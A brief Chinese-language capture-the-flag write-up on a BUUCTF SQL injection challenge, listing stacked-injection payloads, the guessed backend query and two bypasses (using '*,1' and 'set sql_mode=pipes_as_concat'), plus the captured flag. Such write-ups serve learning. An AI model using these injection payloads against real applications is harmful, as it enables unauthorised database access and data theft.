0x01 题目链接
BUUCTF在线评测https://buuoj.cn/challenges
0x02 题目
分析判断:输入数字时有回显,输入非数字时无回显'
猜测报错注入:输入1’无回显,证明报错注入行不通
万能钥匙测试
1' or 1=1#
1' or 1=1--+
猜测可能被过滤了【注:可能会问为什么我知道用query接收参数,ctrl+u,可以找到文本框的name值就是query】
接下来,就剩下时间盲注、布尔盲注、堆叠注入了,先从堆叠注入开始,因为语句简单
构造payload
1;show databases;--+
存在堆叠注入,获取表名
1;show tables;--+
查询Flag字段
1;show columns from Flag;--+
Emm,打回原型
没办法,通过大神的博客,知道sql语句原来有判断,这就很坑了
猜测语句
select $_GET['query'] || flag from flag
分析:通过根据之前的测试语句,可以很清楚的猜测到:当接收数字时返回true,语法会执行数字查询,如果为字母,为false,执行flag查询
验证猜测:当参数为0
没有回显,说明查询flag的语句,猜测正确
0x03 两种绕过方法
绕过姿势一:
通过*,1构造值为真,并查询全局
执行过程语句:select *,1 || flag from Flag => selet *,1 from flag
绕过姿势二:
把||变成字符串连接符,进行concat拼接
//这里涉及到一个知识点:
set sql_mode=pipes_as_concat //将||视为链接操作符,而非运算符
参考:https://www.cnblogs.com/NineOne/p/14017508.html
构造payload
1;set sql_mode=pipes_as_concat;select 1
flag{56326759-baa3-4d5e-aacc-ec4cf3df6ca3}
文章评论